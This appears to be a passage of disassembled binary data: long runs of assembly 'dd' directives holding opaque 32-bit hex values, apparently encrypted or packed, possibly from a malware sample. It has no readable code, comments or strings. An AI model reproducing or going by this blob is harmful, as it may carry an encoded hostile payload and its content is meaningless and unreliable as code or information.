		dd 6E4DEB98h, 0C2AD53E4h, 4E4225CDh, 1A624CB1h,	156656B0h
		dd 19EB2D32h, 0FC661132h, 15668835h, 55F24162h,	9EC3438Ch
		dd 9C33353Eh, 11A309D7h, 94664432h, 156626F7h, 314A9632h
		dd 12E5876Eh, 1A664432h, 156623BDh, 9C30E432h, 11A009D4h
		dd 42664432h, 1566268Dh, 4A981032h, 4942BCB5h, 156AC13Dh
		dd 128F2232h, 3661132h,	5D54135Eh, 9C373212h, 11DD71D3h
		dd 14661132h, 0D4E5D3EBh, 316AC336h, 156ACB6Eh,	8D5A1132h
		dd 0A84C4549h, 0D5D094Fh, 950642CCh, 9969ACD6h,	15668827h
		dd 15664BDAh, 2AB30F32h, 991AA3ABh, 0A6DF7A3Eh,	94904244h
		dd 0E38F436Ah, 0FC99EEEBh, 15668839h, 544739BBh, 0E1C98F40h
		dd 1A21FB7Bh, 156689B3h, 9430B832h, 1567061Eh, 75381132h
		dd 156686DBh, 3991E532h, 0C02FEB10h, 2DA60D01h,	946F9DABh
		dd 8EAECEE4h, 18F4350h,	3661132h, 0C0713245h, 0D8F84C43h
		dd 0B0C562BDh, 0FF952F31h, 44AD3EDBh, 0C490AE83h, 0F4E6EBCCh
		dd 0CCA791A8h, 9DAC0060h, 753F1EE2h, 5884FCB3h,	749A3A6Ah
		dd 0D7E6E898h, 9E302593h, 0D1E50636h, 18E31E36h, 0FC668832h
		dd 1566443Ah, 0CF7BB9Eh, 0DB955360h, 56393567h,	0FD4F0563h
		dd 109E0B6Fh, 5437526Dh, 156685DBh, 9898AB32h, 645DE64h
		dd 751EC174h, 68FBF53h,	7664432h, 1A957BFBh, 1DD8986Bh
		dd 9E3D9297h, 0AD14FE0Ah, 0AA31765Fh, 15661136h, 4B3D3937h
		dd 389E6D2Bh, 0C387983h, 40D6716Dh, 99F24F8Ch, 0EDCD2577h
		dd 9C62CEB1h, 0F5EF3536h, 15668C37h, 11A6C732h,	494226B5h
		dd 15661BDBh, 1DE5B832h, 0F5AAF342h, 0EA111E76h, 963D3506h
		dd 73068CF6h, 0CF4AEB3h, 1575CB53h, 95661132h, 0C1F5EB67h
		dd 0A53DADABh, 79B6B819h, 705E7DBFh, 316A0353h,	9483CD67h
		dd 156626F7h, 11A39232h, 4942A4B5h, 156654DBh, 9C150B32h
		dd 8AD63EF2h, 0D770E825h, 0C2A1E46Fh, 3152DD3Ch, 11A2906Ch
		dd 0FC668832h, 15664438h, 4DD8FB5Ah, 13512070h,	9C3598D7h
		dd 11A5C5D1h, 96662232h, 9E115F1h, 31420316h, 156654DBh
		dd 7D5D5F32h, 64F14EADh, 4713DDE8h, 5B818954h, 0CE53CB03h
		dd 1B8FEECDh, 74668832h, 455FD48Ch, 0CAAD5B70h,	4D404DC3h
		dd 3BE34F28h, 106058BAh, 75662232h, 15661BDBh, 7C41EC32h
		dd 0D9B75F8Dh, 9E2BD4C8h, 943070FAh, 680DAC06h,	9ED4E36h
		dd 11A2A316h, 94661132h, 111BE3C1h, 1569AD38h, 0ECA42232h
		dd 506ECFB6h, 0C00E49D6h, 0C03DA87Eh, 118AA1EFh, 0AD4215BBh
		dd 15668836h, 753E8733h, 43ECCBB3h, 0AA691352h,	0AD36E9C1h
		dd 15664432h, 0EA0B5137h, 3896100Fh, 2899E541h,	0FC3E5C31h
		dd 1566223Bh, 0FC2386A1h, 4061138Dh, 54E3CFA2h,	75603735h
		dd 15661BDAh, 29923C32h, 67602EB5h, 0AB08ED1Eh,	445051C9h
		dd 3EC876Bh, 0FC664432h, 15662223h, 0DE628F33h,	77EDDD4Ah
		dd 4FA370D7h, 0EBA8DF20h, 80ED706Ch, 1373AE03h,	14DD17CAh
		dd 3C662232h, 90694AECh, 15668833h, 4CDBC7CEh, 1460373Eh
		dd 13D5953Dh, 93698832h, 1566443Ah, 733E7252h, 74646D88h
		dd 97695009h, 15664409h, 156629DBh, 526AFE32h, 14F4E9E7h
		dd 0F06AB166h, 9369F809h, 15661003h, 15616052h,	0B30B4432h
		dd 95A398CFh, 0C6ED7792h, 0D2E7EE6Bh, 1A07A92Eh, 156624B7h
		dd 0C5EC7132h, 9C07E952h, 603587h, 749E4234h, 9D488CB9h
		dd 949A8E2Eh, 3D6A6076h, 942A2D29h, 936A3576h, 145A6E3Bh
		dd 946A606Eh, 936A065Eh, 945AF73Bh, 3D6AAC5Eh, 0E02A4B29h
		dd 15600ADBh, 1FE41E32h, 0FC668832h, 15664437h,	43290030h
		dd 315A9A7Ch, 94830167h, 156640F7h, 11A3A132h, 49423DB5h
		dd 0AC00E852h, 74062906h, 0D207DE53h, 6A48B7h, 15668934h
		dd 9E69BD32h, 15662239h, 156617DBh, 0EAF00132h,	9E848FF4h
		dd 9C35062Eh, 11A590D1h, 96668832h, 9E140F1h, 1F8F7E16h
		dd 0AF661132h, 4BC44A7Fh, 1CCBB87Ah, 316AA94Ah,	94859861h
		dd 15668CF1h, 11A5C732h, 49423EB5h, 1BEC1E52h, 0FC668832h
		dd 1566443Bh, 42E6D06Fh, 0F74CE131h, 749502AFh,	4B4270CDh
		dd 0FC62E6B1h, 15661134h, 1274BCCEh, 9C356610h,	11A5A3D1h
		dd 96661132h, 0EA358CF1h, 4E626046h, 494226BDh,	156F903Dh
		dd 42068832h, 0FEE72269h, 0FC075451h, 0EA99C737h, 44DB0BCAh
		dd 1460512Ah, 1021A63Dh, 68F1132h, 0C8668832h, 13C782A7h
		dd 85F7FC8Dh, 0FA1FC80h, 0B93B9E37h, 884DABA1h,	13732573h
		dd 0A4EB9AC7h, 0FC609D2Fh, 15664426h, 723C4A62h, 99B44CE6h
		dd 5B7A89B8h, 0EA3F89AAh, 0E10F3891h, 306CA962h, 0DB4BAD19h
		dd 1490E3D8h, 0CC677AF3h, 2F5AF8B3h, 0FC06A6B1h, 15664437h
		dd 73C0E66Ah, 78F42EBh,	0C8668832h, 566A6FB0h, 7EF342DEh
		dd 67136484h, 0E8C6BB8Bh, 0ED071DF6h, 2737CBB3h, 0D4E719ECh
		dd 5B50CDD6h, 0FCE7BD1Bh, 5B5067D6h, 2737D0B3h,	9F6980ECh
		dd 15664433h, 0AB30DACAh, 15661137h, 4DB449B3h,	0E44F731Eh
		dd 4DB4CBB3h, 0FC38261Eh, 15668821h, 4A3688B5h,	767AE62Ch
		dd 7CB272BAh, 59C5110Ch, 47A15970h, 0A38C9262h,	4DA011E9h
		dd 9D4A7EB2h, 93691EC2h, 15662235h, 95077152h, 0BF071EC2h
		dd 0FE0E2552h, 9C662228h, 4D373536h, 0D2E7E86Bh, 6354E7A2h
		dd 7D9E8953h, 156666A9h
		dd 9C42A4BBh, 11A3C5D7h, 96662232h, 39E115F7h, 0EA9FD416h
		dd 943D6006h, 156626F6h, 19EDE432h, 0F0EFDD16h,	156281B3h
		dd 0D0E72232h, 15661136h, 4942A4B5h, 0C4E72452h, 173F4FC0h
		dd 0B32FAF54h, 0C5D98753h, 3152CF53h, 9487AB63h, 156615F3h
		dd 11A70B32h, 494248B5h, 1575CBCEh, 0ACC21132h,	8D3C035Fh
		dd 54304C0Bh, 0DA2317EBh, 648187D3h, 0F3EFDEB8h, 156282B3h
		dd 0AC372232h, 15661136h, 923F4633h, 0ED3A6006h, 0EAB164DBh
		dd 1568F8CDh, 0F8A38832h, 0A2B09DE2h, 5ED9BB50h, 1F3AE416h
		dd 156B0C3Dh, 1D8F4432h, 0E9662232h, 90D5270Ch,	0D24E19F4h
		dd 9EE6AB7h, 15662034h,	1572F832h, 7B5B8832h, 0B1C6C0A9h
		dd 0FED230E9h, 3CD78C37h, 0E601C70Bh, 7D9EE36Fh, 15664605h
		dd 9C4205BBh, 4FB501C0h, 8DEFC52h, 78E749Ch, 5D661132h
		dd 0E87FFA27h, 9D65AB71h, 5633C2B1h, 0EE7491F5h, 0DF5367Fh
		dd 743E5AC4h, 7568943Dh, 9B69FEB8h, 15668834h, 1566CF3Dh
		dd 0EC072232h, 1AE6E8B2h, 156600B1h, 0A833BD32h, 56476543h
		dd 25BED4B3h, 0F0E7E5A8h, 2DE55FA3h, 1BBCD7B3h,	0F0E73F42h
		dd 74C043h, 0D0E799C5h,	3CA5BFFh, 143BFA33h, 698D09F9h
		dd 7564DE4Bh, 1563AA3Dh, 94001132h, 1A2F33DAh, 156644BCh
		dd 96354332h, 4E673536h, 15770E3Dh, 96694432h, 15662239h
		dd 156617DBh, 221F2E32h, 0ED986A8Ch, 1566F2DBh,	0AF9A7132h
		dd 2909DAA2h, 0FD352453h, 1566223Ah, 0D21EAC35h, 523E218Dh
		dd 0FFE71F68h, 3609533Dh, 178A9253h, 31620154h,	0D44EBB82h
		dd 1A067A54h, 156613BAh, 7507E832h, 1566CE3Dh, 94002232h
		dd 74B263C3h, 4C33D953h, 92BBB36Fh, 4E42DDBh, 0FC661132h
		dd 1566883Eh, 0B2288102h, 6A4DF1E2h, 27697786h,	39783567h
		dd 0D8E72B4Fh, 71340C6Ch, 9463F4F3h, 1F289EF7h,	0C3D91329h
		dd 0E2374C4Fh, 0D8A190EDh, 1CD4A881h, 0C8911BCFh, 2B90E7B3h
		dd 0FC477BC0h, 19EB876Fh, 1A664432h, 156624B7h,	15EE1E32h
		dd 0ED668832h, 2DB2FD63h, 0DE6737DDh, 94AD386Bh, 0FA5E5CD9h
		dd 1575AD27h, 0D0BE2232h, 0D5B66F54h, 7C63E7DEh, 6125909Fh
		dd 0CD0055D0h, 54E39A3Fh, 1A609D35h, 156645B5h,	80EDDB32h
		dd 13733703h, 0EF9961CAh, 759ABBCDh, 128FE1B9h,	70661132h
		dd 0ABFB2821h, 0D2074006h, 9EE0CB7h, 15661334h,	40347032h
		dd 0FFEFB1BBh, 4FB5AB6Fh, 1569933Dh, 1F8F8832h,	0CA664432h
		dd 0CD5B7B99h, 7C27898h, 1BD08765h, 959FC4CEh, 1508A13Dh
		dd 94691132h, 1566882Ah, 156657DBh, 8E3DA832h, 48C1A0C1h
		dd 0D6095281h, 0F97E2DE4h, 0A744D5D5h, 348FD2B3h, 0FEE7E85Ah
		dd 7F832D0Ch, 0D6E7E933h, 7F83780Ch, 348F63B3h,	1A9F245Ah
		dd 15662DBCh, 156CF832h, 0DED38832h, 0CAE326D9h, 9BEBD39h
		dd 1567AB60h, 0C6678832h, 1560AD68h, 54732232h,	87FAD5ACh
		dd 156609DBh, 14E44B32h, 0E9662232h, 45A6A661h,	0F256B786h
		dd 4E9F6C6Ah, 0CDED4452h, 1384CBB3h, 5C07E5D5h,	3172B363h
		dd 156ECB6Bh, 6B171132h, 0F66055FBh, 9B6902DAh,	15662233h
		dd 3D847CAh, 5339824Dh,	0F2A0C574h, 34C6D7B3h, 31529AC3h
		dd 0FC624CB1h, 1566443Fh, 43B6265Fh, 0EA68236Bh, 6A942A3Ch
		dd 1FA5C547h, 944ADD3Dh, 0F16E23F1h, 94ADA146h,	0F16E76D9h
		dd 1F8DA346h, 1A4AEE3Dh, 156689B1h, 90EDBD32h, 13732573h
		dd 0CAED7752h, 15640A3Dh, 13D64432h, 1E8F4253h,	59661132h
		dd 86C775E5h, 9691DA80h, 9E07F933h, 4020A7h, 1AE68734h
		dd 75664432h, 156627DAh, 0CE724932h, 753E6CD0h,	0A8E52553h
		dd 13733A63h, 36E21E33h, 0EC9977C5h, 97699C09h,	1566221Fh
		dd 15661FDBh, 0D4A4DA32h, 0D365E96Ch, 0A78D99C5h, 2CEA2594h
		dd 0E7E087E1h, 7599BBDFh, 15662ADBh, 0FF089B32h, 5BD7A34h
		dd 0CBD14B9Fh, 14DB7753h, 3C661132h, 1B8FD5DCh,	0E3664432h
		dd 5DDB35E0h, 0CDC812A7h, 5F523C77h, 2EEE2C30h,	21EF2232h
		dd 314A9016h, 8C0CF2Bh,	0CA7C56Bh, 1A7B8475h, 156610B6h
		dd 0A8337432h, 3D4977E2h, 55CFEFB3h, 0D42B5FA1h, 0F8E780DFh
		dd 3A3A7AFAh, 7F43CFB3h, 0D0E75A72h, 0D549C682h, 3C3BAD33h
		dd 238FA3CBh, 75201057h, 1E91568Ah, 0EBED2274h,	12E42D53h
		dd 1A661132h, 156689B4h, 0F9E5B832h, 315AAB36h,	1566148Dh
		dd 4A9FA132h, 0DBD94B52h, 156CCB53h, 4EB91132h,	0B69D602Ch
		dd 86ECF244h, 0A5AC9363h, 9EAE2111h, 0D1E7AC3Eh, 15664436h
		dd 1575CB52h, 74341132h, 1427443h, 67DD0485h, 9F29847Dh
		dd 0CF096A70h, 0BF9FE9D1h, 17E54B52h, 9F662232h, 0EDD91EFAh
		dd 0F9E7D853h, 15664436h, 4D422EBBh, 156FF86Bh,	23838832h
		dd 0ABFF87DAh, 0BEA4092Ah, 0EFD91E52h, 0FC073483h, 0EA999699h
		dd 88DD71CBh, 947D535Dh, 6C29D7C1h, 0C28DC550h,	94700E66h
		dd 0E45204F1h, 9F9589AEh, 0E9061F31h, 15EB2D62h, 4F661132h
		dd 7336E853h, 4A07908Ah, 156630DBh, 24705032h, 81EBAC91h
		dd 73AD3EBAh, 0F58820E6h, 74695324h, 9169600Eh,	1566440Fh
		dd 0F1DC70CBh, 0AD39AB71h, 4ADCCBD6h, 1ED9403h,	11A2A316h
		dd 0FC661132h, 1566883Bh, 668E4232h, 5904122Ch,	1419F821h
		dd 0AF068832h, 65730210h, 1560AF3Dh, 97691132h,	15668832h
		dd 0F2EF1353h, 1562E5B3h, 0FAE51132h, 315A0F36h, 317ACD6Eh
		dd 13E82D52h, 1A661132h, 156688B4h, 0CEA6C532h,	74011742h
		dd 153B755Ah, 31520132h, 94002469h, 749405E5h, 1567A863h
		dd 0E4678832h, 1566FE60h, 0DF672232h, 4C3C0B31h, 0AB30DDCBh
		dd 33D96C29h, 55B1C88Fh, 4B9310EBh, 0ED3B6333h,	0EBCAF260h
		dd 95B0D4F4h, 0CB9077C4h, 0EB513F61h, 3191C4F5h, 9D3DDC32h
		dd 0BF934BC2h, 1561043Dh, 99694432h, 15662233h,	208D90C7h
		dd 3C622C1Ah, 0FDDB11C9h, 940B093Bh, 9387A2DFh,	488D895Ah
		dd 15664BDBh, 9FFB3632h, 20A3603Ah, 0DD3789EBh,	0E890F1Ah
		dd 15629C64h, 0D6E71132h, 3F2097E7h, 0FEE7B71Bh, 3F203DE7h
		dd 1DEC1E6Ch, 1A668832h, 156646B1h, 45074232h, 31629A61h
		dd 15624CB3h, 0FC3D4432h, 15662221h, 0FCFC6BB3h, 0AEA3BF34h
		dd 4B72A9B3h, 0EE0FA9B8h, 0BED99E40h, 75B70852h, 9E078CB8h
		dd 9C30062Eh, 11A090D4h, 94668832h, 156640F4h, 3152A532h
		dd 0A833E96Eh, 15668837h, 13B3AAB3h, 0FB6762B2h, 13B3D7B3h
		dd 753BC8B2h, 1A2691B2h, 156630B5h, 156AF932h, 474A8832h
		dd 0F42BB7E5h, 2BCB7916h, 743C2FC7h, 0F06E063h,	943F22E9h
		dd 0AC08B8DBh, 0FCE75868h, 936EFACh, 5140FF61h,	0CC57CDE3h
		dd 4CAE9869h, 138F4BCAh, 2A664432h, 0B68DC8B7h,	0F2EF46D4h
		dd 15624FB3h, 0FAE54432h, 315AA536h, 316A986Eh,	15670F3Dh
		dd 449A4432h, 1566228Bh, 47971032h, 15668888h, 73AC4532h
		dd 4C3C20B9h, 15661DDBh, 0BAF0F132h, 0B33B84D5h, 9F7DA05Fh
		dd 1AA52D74h, 1567EDB6h, 13EC4B32h, 75662232h, 4B364A61h
		dd 1AADB453h, 156715B6h, 1FE92D32h, 75661132h, 0E1239788h
		dd 0C5D94B5Ah, 1AA41E53h, 156778B6h, 12E48732h,	75664432h
		dd 9E007B65h, 996970F1h, 15668838h, 69EEFB52h, 9E0035F6h
		dd 0DF5A70FCh, 14220C3Dh, 95694432h, 1566223Ah,	1564993Dh
		dd 74068832h, 30997954h, 1433A63Dh, 1C8F1132h, 7B668832h
		dd 0E521050Eh, 7180AF3Ch, 0AA694752h, 7307D6CBh, 1A996A0Fh
		dd 15665DB7h, 156DF832h
		dd 286E8832h, 9AD5A443h, 0E92FAC64h, 118A926Eh,	0AF429CBBh
		dd 15664430h, 17ECD033h, 19EF1E68h, 1A668832h, 156642BEh
		dd 15EF2D32h, 47661132h, 46006784h, 0EB565285h,	0CB907954h
		dd 0D3E6CFC4h, 4F96A8C5h, 156DAC52h, 0B68B2232h, 6BD26672h
		dd 0D0944824h, 0E5D94B3Ah, 19E12D68h, 0FC661132h, 15668835h
		dd 0F037504Ch, 741ABB13h, 9169B10Eh, 156688D1h,	9400BC52h
		dd 74E26CC1h, 40421DB9h, 0D0E76DBBh, 15664436h,	9262E7B1h
		dd 0FC3A351Eh, 15668821h, 0D8694357h, 0D3865CC4h, 183AD734h
		dd 34EEE919h, 7D5DC4D4h, 156647B8h, 0AF4205BBh,	15668832h
		dd 1A3C94BBh, 156635B4h, 1574F832h, 443B8832h, 3A3EC53Eh
		dd 0D240B4Ah, 0D47DDEADh, 18A1AE47h, 15675EDBh,	0DC57DE32h
		dd 156E963Dh, 93698832h, 15664430h, 0AA314352h,	0EA99EECDh
		dd 0ED39711Bh, 156635DBh, 0AD004232h, 94006A0Ah, 74D72CF3h
		dd 47D82252h, 0A8334393h, 15661131h, 9C890165h,	0FC3B1BCBh
		dd 1566223Ah, 0C26BC153h, 0FCEC706h, 156605DBh,	0D7E74232h
		dd 43796BE5h, 400746B9h, 1566428Fh, 9E8FAB32h, 0D1E5351Eh
		dd 368F7036h, 1A664432h, 156628B9h, 9E007132h, 64230C5h
		dd 43072423h, 341A6E8Ch, 0AEDC431Bh, 9CB056B1h,	0E4671EE3h
		dd 0B195D76Ch, 15689A3Dh, 1C8F8832h, 0A4664432h, 4F3DC990h
		dd 0AFA9C97Ah, 24EB03CAh, 1A605114h, 156623B0h,	0DCE3E832h
		dd 15780D3Dh, 73064432h, 0D337C0B3h, 0EEAF9054h, 0A0EFE942h
		dd 13736203h, 1560A13Dh, 1A061132h, 749E5885h, 464248B9h
		dd 0D6E7C1BBh, 15661136h, 92624BB1h, 753A602Eh,	0D6E744C7h
		dd 0E907DA86h, 7E683361h, 432D40DAh, 71246A8Ch,	4B953833h
		dd 0C25A4BB3h, 0CDEFB849h, 1A354269h, 156611BFh, 0D607D332h
		dd 239922CAh, 3162A954h, 1564D5B3h, 96698832h, 15664426h
		dd 15662DDBh, 435A0432h, 0AB16111Fh, 3A038223h,	0AE48473Dh
		dd 156619DBh, 0B4BDA132h, 0B8FB0D33h, 1AA51E32h, 1567D6B6h
		dd 9D347132h, 0C5EE14F0h, 4F3EE1BAh, 4E344752h,	1563616Ah
		dd 0B464432h, 7469A575h, 15759D3Dh, 1B8F8832h, 0E1664432h
		dd 0FC23B5A1h, 40618A8Dh, 168BBEA2h, 0A73422B4h, 73B502C2h
		dd 944205B9h, 15668AF6h, 94002432h, 9EA37CFDh, 0EEE670E8h
		dd 0B9E28742h, 0EC664431h, 9169CB0Eh, 1566105Ah, 15669ADBh
		dd 35A05632h, 2EEFDE76h, 0BD580736h, 37A44591h,	2939ABBDh
		dd 5CE22DD9h, 75661133h, 6B800852h, 4A0FC53h, 29074D5Bh
		dd 20E21EF0h, 0ED668833h, 91698F0Eh, 1566231Eh,	15699F3Dh
		dd 1F8F8832h, 664432h, 5E5DB41Fh, 0B57D8142h, 0EA5BEE27h
		dd 18E24B17h, 75662233h, 0FDF4A152h, 15668820h,	10FC2A48h
		dd 4BC581A4h, 0A7E0CD6Dh, 2DAF7B01h, 7439DBEAh,	74D3E3B2h
		dd 9169DB0Eh, 156688D6h, 157BC33Dh, 9B692232h, 15661125h
		dd 15669ADBh, 0E55E7532h, 1D9F1C7Bh, 841F39A4h,	823C304Bh
		dd 0FC19E9B0h, 15662221h, 362A0351h, 3F0B5691h,	0C69B6DEFh
		dd 8BA6B0D4h, 2929A787h, 0C9E287D1h, 1A664430h,	15662EB2h
		dd 13EF1E32h, 1A668832h, 156644B1h, 3B5B4432h, 47E31ECDh
		dd 0FC668832h, 1566443Ch, 1765AB06h, 0D08CC621h, 6F2CF4C2h
		dd 0AC37A827h, 15662230h, 4996F8B3h, 0E467E32Bh, 499685B3h
		dd 14EC492Bh, 0F9E7ED6Bh, 15668836h, 0A64258BBh, 9EA5A2F1h
		dd 35D8E2B2h, 2993D3EAh, 28E24B92h, 0FC662232h,	15661137h
		dd 0F15F345Fh, 15DB11B7h, 9C662232h, 314A9ADAh,	15624CB3h
		dd 73064432h, 0FC064C8Dh, 15661137h, 0D269A9F1h, 6B8F25DEh
		dd 1A662232h, 156616BFh, 0FFE6E832h, 74A4CE3Bh,	335797BBh
		dd 73061727h, 737D1C8Bh, 746C028Dh, 8394BFBFh, 0FC9A1729h
		dd 1566883Dh, 4BA616A5h, 65FCE9ACh, 0F26A9EFBh,	0EAF3A6E5h
		dd 0AB0024E1h, 0CDED6D2Ch, 68DC4353h, 941E090Eh, 8D5F57D8h
		dd 4BDF735Dh, 1C3AC52Dh, 0FFE7D1F8h, 659C0EB4h,	1EACA370h
		dd 947C176Bh, 13BB72D8h, 4FB6CDCCh, 156DAB3Dh, 138F1132h
		dd 0D1668832h, 1ED48A5Bh, 9C69E152h, 1566113Ah,	15640D3Dh
		dd 74064432h, 151F1F5Ah, 31629832h, 5DFD9CEh, 14664432h
		dd 4D57DDC3h, 9169716Bh, 15668837h, 0C66C4A88h,	90EF4328h
		dd 13730D8Fh, 315277C7h, 11A2C56Ah, 0E0662232h,	661A962h
		dd 0CD91A87Fh, 4ED4417Ah, 0CD9120DDh, 206EF1F3h, 48D1DE2Eh
		dd 0ED3E8233h, 140F9FBFh, 99691727h, 15668822h,	15664FDBh
		dd 72CA9332h, 44D78434h, 2270D76Ah, 0C3D14B52h,	0B807C280h
		dd 15739F3Dh, 58F8832h,	84664432h, 97C6E09h, 6D355FCBh
		dd 363128BFh, 107FCB4Eh, 7C246468h, 31425531h, 533C3567h
		dd 0FD4F2D70h, 9400426Fh, 1A762DD9h, 0BE07588Dh, 1567CF3Dh
		dd 1A9E2232h, 156610B1h, 0A8EB7032h, 1373743Bh,	1567AD3Dh
		dd 0EC9A1132h, 0CBE7E89Fh, 5EBB49F6h, 1569CA64h, 7D91132h
		dd 4BE9222h, 0FC7B402Ah, 3B888D5h, 74394B52h, 2979D437h
		dd 38B66947h, 516512CEh, 0C5633516h, 3856741Fh,	605A5B6Eh
		dd 0DDED4452h, 0DCE77752h, 19DC5411h, 743A55E6h, 0CFE74253h
		dd 3E458011h, 74A50354h, 151FD95Ah, 3162AB32h, 9E00E452h
		dd 9E06E9C5h, 0EDCD25CBh, 156627DBh, 8E4B632h, 0A8EBEDB5h
		dd 137366BBh, 128F8FCBh, 2C661132h, 0EBBEA930h,	0F24BC812h
		dd 38175B6Dh, 353070A5h, 3D42CC31h, 4307D337h, 4A812712h
		dd 1A8F604Bh, 20668832h, 0C148700Ah, 27D9A838h,	34F15D6h
		dd 1ACDFB3Bh, 15664CB4h, 17EC2D32h, 75661132h, 156D6153h
		dd 0F8784432h, 5E451669h, 0BA963F2Ah, 31520323h, 9485CD61h
		dd 156626F1h, 11A59032h, 92668832h, 0E93A602Eh,	0CCE742F1h
		dd 605215FCh, 94075EB9h, 156640DEh, 3152AB32h, 5AFB9CCEh
		dd 756093A4h, 156641DAh, 0F4EE8332h, 943CADABh,	89F0E1F5h
		dd 94062529h, 0CD5696F9h, 9E697136h, 15668832h,	15664FDBh
		dd 3BF17432h, 0C7747067h, 56D73F09h, 0C6992553h, 15662ADBh
		dd 0F6FFEF32h, 6100E3D7h, 2F8FBDD5h, 0FC99DDCFh, 15661134h
		dd 7CF3863Ah, 0CEDFBC2Fh, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
		dd 59C19CC0h, 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h
		dd 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh
		dd 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah
		dd 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h
		dd 43965394h, 0C132DCF1h, 0BA8C096Dh, 0A8EDD871h, 458A42C3h
		dd 58DDAEA2h, 0C88260D5h, 48EE9F38h, 0DF07462Ch, 52B41637h
		dd 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh, 3508FA7h, 0D9FB57BEh
		dd 59CD80B0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh
		dd 0B232DCAAh, 168C096Ch, 133DCB2Fh, 96751336h,	0BD54142Bh
		dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 499D8D00h
		dd 0B8061534h, 23E4h, 90D8589h,	0E80615h, 58000000h, 0D05h
		dd 0E9038900h, 23E4h, 47h dup(0)
		dd 0F305E983h, 3CB8BA4h, 5657B6DBh, 0C2DD3032h,	4EED3849h
		dd 0BE1F5DB9h, 5675B132h, 43503068h, 595BAAF4h,	56AEB0BDh
		dd 36AB4432h, 56ABB6DBh, 0E5543832h, 0BEE30CECh, 83D60BBFh
		dd 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 4C17FB23h,	25FB668Bh
		dd 0FDF53FD5h, 69CB5EADh, 0B7342291h, 23AC7ACFh, 20AD29B7h
		dd 75FD7A1Ah, 987C2779h, 73E14DE6h, 4056FFA0h, 0F305E983h
		dd 8DDB8BA4h, 1C8832BDh, 0C38D8D06h, 0B8061D0Eh, 32156644h
		dd 0E9C1CF2Bh, 0D0073102h, 4C783C8h, 0FF67549h,	586h, 50F56000h
		dd 12E9615Eh, 0C2000000h, 0B07645E2h, 581A33Ch,	6AFF4A4Bh
		dd 0CF3B8A6Eh, 0C2895287h, 0FC5A5852h, 8F5BD83h, 75000615h
		dd 0ADBD8309h, 61503h, 53501974h, 11B8C08Bh, 89000004h
		dd 1502A185h, 59D8D06h,	0FF0617ABh, 83585BD3h, 1503ADBDh
		dd 17740006h, 11B85350h, 89000004h, 1502A185h, 0A69D8D06h
		dd 0FF0617A7h, 0E9585BD3h, 13h,	509D0A59h, 8DE23AA6h, 49403592h
		dd 0E745DDEEh, 0F558FA36h, 242C8150h, 598B061Eh, 1EBF5758h
		dd 1598B06h, 8F0F5FF8h,	15h, 10E9h, 421BFA00h, 4B9EDEA2h
		dd 0C6163C55h, 5534F5ECh, 8D8DF82Fh, 61D1304h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 27C35141h, 0FEFA049Fh
		dd 1DF1958Bh, 8D890615h, 6152721h, 85C7FA8Bh, 61504CDh
		dd 614Ch, 7EBCBA66h, 111585C7h,	615h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0FFFCB2C3h, 237D6A2Ch, 1501F995h, 49B5FF06h,	6A06152Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 6DC5C356h, 3B39FD1Fh, 79E9F754h, 0FFD78B66h
		dd 1502C995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0D25029A6h, 8529C3E1h, 6152F0Dh
		dd 95FF006Ah, 6152E21h,	2CEBC08Bh, 0CB1F4BF8h, 318F2495h
		dd 301D95DAh, 6D24036Bh, 0FAB58A08h, 3ED50225h,	0FA788A6Dh
		dd 2E0BF00Ah, 9AA192C1h, 921CC58Eh, 409E25CEh, 12E8h, 7FE72400h
		dd 0CAD34110h, 12624605h, 697C6595h, 0E8132C76h, 0Eh, 90C5CA93h
		dd 958B36C6h, 0DA0E6764h, 0BF0F8D3Ch, 8B5B5FFEh, 1527CD85h
		dd 61C38106h, 60000073h, 0BDBB70Fh, 1505159Dh, 0C9336106h
		dd 9E953h, 0D24A0000h, 2A1CBD03h, 58573356h, 0F0B348Bh
		dd 0C681C0B7h, 3D93421h, 8860Fh, 89570000h, 150C099Dh
		dd 0EE815806h, 5D67669Ah, 3C1BD8Bh, 0F6810615h,	155BC90Eh
		dd 895680B6h, 1525958Dh, 0B048F06h, 0BB9B589h, 0BA660615h
		dd 0E983E707h, 81F94903h, 0FF8D64F9h, 12850FFFh, 8B000000h
		dd 152251BDh, 18E906h, 536A0000h, 0B9719414h, 75BD8B70h
		dd 0E9061534h, 0FFFFFF90h, 0D63D77DFh, 37E982F3h, 43000000h
		dd 4DAC17h, 0Ch	dup(0)
		dd 79E90000h, 68000004h, 61D1569h, 0F86A05E9h, 15EE68FFh
		dd 0FBE9061Dh, 68FFF869h, 61D16FFh, 0F869F1E9h,	0B82886FFh
		dd 73E346DDh, 0C0308DA2h, 0A7AFE35h, 0C636B46Bh, 8033782Fh
		dd 2C039202h, 65BA5BCBh, 31FE9707h, 409362D2h, 0E662A71Eh
		dd 8809169Bh, 143D08D6h, 0D7169BE6h, 44DF8C6h, 0E7169BE6h
		dd 240034D6h, 536056C6h, 69F580F0h, 0F289D073h,	0A3741086h
		dd 0C2DD1C7h, 86F21039h, 79E94E10h, 5D9F6C7h, 1B3E05D7h
		dd 0E21086F2h, 0F22D74D1h, 0D76E1086h, 1086F2B2h, 0E7B86839h
		dd 62B3103h, 7CFF34A4h,	55350A0Ch, 9C1B9A66h, 24122316h
		dd 93DB7CA1h, 1F8E0916h, 0BD42BF2Ah, 2BC459Dh, 0B2610000h
		dd 0C0E1955Ch, 86F2DC05h, 0A18E9F10h, 0FB22269Dh, 7A4B169Bh
		dd 526521A4h, 4EF20BF9h, 90F3401Eh, 51F44A20h, 15E67989h
		dd 0A973A374h, 0D2B82888h, 0D6E818E8h, 0BA0A001h, 0CBBF7920h
		dd 0ABCBBA89h, 2F281F13h, 0BA17E988h, 5B951B1h,	22D9D18h
